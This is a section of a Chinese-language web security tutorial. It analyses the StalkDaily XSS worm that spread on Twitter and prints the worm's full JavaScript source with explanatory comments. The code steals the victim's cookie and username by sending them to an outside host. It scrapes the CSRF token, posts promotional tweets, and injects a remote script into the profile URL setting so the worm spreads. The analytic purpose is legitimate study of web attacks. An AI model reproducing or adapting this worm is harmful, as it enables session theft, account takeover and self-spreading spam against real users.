六、XSS Worm
随着WEB2.0时代的到来,而Ajax就是WEB2.0的标志性技术。AJAX即“Asynchronous JavaScript and XML”(异步JavaScript和XML),AJAX并非缩写词,而是由Jesse James Gaiiett创造的名词,是指一种创建交互式网页应用的网页开发技术。Ajax的出现为XSS蠕虫的发展提供的很大的便利,也因此加速了xss worm技术的传播。这里我们就以之前爆发的Twitte蠕虫为例进行分析,这个XSS worm之前在我的博客上也有提到()。该跨站漏洞主要出现在"Settings" 菜单下的 "Name"文本域以及"More info URL"文本域,是由一位来自美国纽约的17岁小伙子写的,当时他花了2小时就全搞定了。其源码分析如下:
function XHConn()
{
//创建XMLHttpRequest对象
var xmlhttp, bComplete = false;
//由于 Internet Explorer 浏览器使用 MSXML 解析器处理 XML,而且MSXML 实际上有两种不同的版本,因此采用以下两种方式创建对象
try { xmlhttp = new ActiveXObject("Msxml2.XMLHTTP"); }
catch (e) { try { xmlhttp = new ActiveXObject("Microsoft.XMLHTTP"); }
//下面是针对非IE浏览器(包括Mozilla、Firefox、Safari、Opera……)来创建 XMLHttpRequest 对象
catch (e) { try { xmlhttp = new XMLHttpRequest(); }
catch (e) { xmlhttp = false; }}}
if (!xmlhttp) return null; //若 XMLHttpRequest 对象创建失败则返回NULL
this.connect = function(sURL, sMethod, sVars, fnDone) //创建连接回调函数
{
if (!xmlhttp) return false;
bComplete = false;
sMethod = sMethod.toUpperCase(); //将发送方式转换为大写字母,即GET或POST
try {
if (sMethod == "GET")
{
xmlhttp.open(sMethod, sURL+"?"+sVars, true); //以异步连接的方式配置GET请求
sVars = "";
}
else
{
xmlhttp.open(sMethod, sURL, true);
//配置请求头数据
xmlhttp.setRequestHeader("Method", "POST "+sURL+" HTTP/1.1");
xmlhttp.setRequestHeader("Content-Type",
"application/x-www-form-urlencoded");
}
//设置每次请求的就绪状态发生变化时调用的回调函数
xmlhttp.onreadystatechange = function(){
if (xmlhttp.readyState == 4 && !bComplete) //当响应已完成
{
bComplete = true;
fnDone(xmlhttp); //当服务器响应时就会调用回调函数fnDone(),不过这里没有给出此函数
}};
xmlhttp.send(sVars); //发送请求
}
catch(z) { return false; }
return true;
};
return this;
}
function urlencode( str ) {
var histogram = {}, tmp_arr = [];
var ret = str.toString(); //返回字符串
var replacer = function(search, replace, str) {
var tmp_arr = [];
tmp_arr = str.split(search); //从search指定的参数将str分割成字符串数组
return tmp_arr.join(replace); //把数组tmp_arr[]中的所有元素通过replace指定的分隔符进行连接,以组成一个字符串
};
//对下列字符进行URL编码转换
histogram["'"] = '%27';
histogram['('] = '%28';
histogram[')'] = '%29';
histogram['*'] = '%2A';
histogram['~'] = '%7E';
histogram['!'] = '%21';
histogram['%20'] = '+';
ret = encodeURIComponent(ret);
for (search in histogram) {
replace = histogram[search];
ret = replacer(search, replace, ret)
}
//将%[a-z0-9]这样格式的字符转换为大写字母
return ret.replace(/(\%([a-z0-9]{2}))/g, function(full, m1, m2) {
return "%"+m2.toUpperCase();
});
return ret;
}
var content = document.documentElement.innerHTML; //当前浏览器中的HTML内容
userreg = new RegExp(/<meta content="(.*)" name="session-user-screen_name"/g); //利用正则表达式进行全局匹配查找当前登陆的用户名
var username = userreg.exec(content);
username = username[1];
var cookie;
cookie = urlencode(document.cookie); //获取当前cookie并进行URL编码
document.write("<img src='http://mikeyylolz.uuuq.com/x.php?c=" + cookie + "&username=" + username + "'>"); //窃取cookie
document.write("<img src='http://stalkdaily.com/log.gif'>");
function wait()
{
var content = document.documentElement.innerHTML;
//利用正则表达式进行全局匹配查找表单变量form_authenticity_token的值,它是一个随机数,可用于阻止CSRF攻击,在发送请求时必须加入此变量值
authreg = new RegExp(/twttr.form_authenticity_token = '(.*)';/g);
var authtoken = authreg.exec(content);
authtoken = authtoken[1];
//alert(authtoken);
//设置一些随机信息用于发送
var randomUpdate=new Array();
randomUpdate[0]="Dude, www.StalkDaily.com is awesome. What's the fuss?";
randomUpdate[1]="Join www.StalkDaily.com everyone!";
randomUpdate[2]="Woooo, www.StalkDaily.com :)";
randomUpdate[3]="Virus!? What? www.StalkDaily.com is legit!";
randomUpdate[4]="Wow...www.StalkDaily.com";
randomUpdate[5]="@twitter www.StalkDaily.com";
var genRand = randomUpdate[Math.floor(Math.random()*randomUpdate.length)];
updateEncode = urlencode(genRand);
var xss = urlencode('http://www.stalkdaily.com"></a><script src="http://mikeyylolz.uuuq.com/x.js"></script><a ');
var ajaxConn = new XHConn(); //创建XMLHttpRequest对象
//下列代码用于发送虚假的twitte信息
ajaxConn.connect("/status/update", "POST", "authenticity_token="+authtoken+"&status="+updateEncode+"&tab=home&update=update");
var ajaxConn1 = new XHConn();
//修改设置,以插入恶意脚本进行传播
ajaxConn1.connect("/account/settings", "POST", "authenticity_token="+authtoken+"&user[url]="+xss+"&tab=home&update=update");
}
setTimeout("wait()",3250); //每3秒左右就调用wait()函数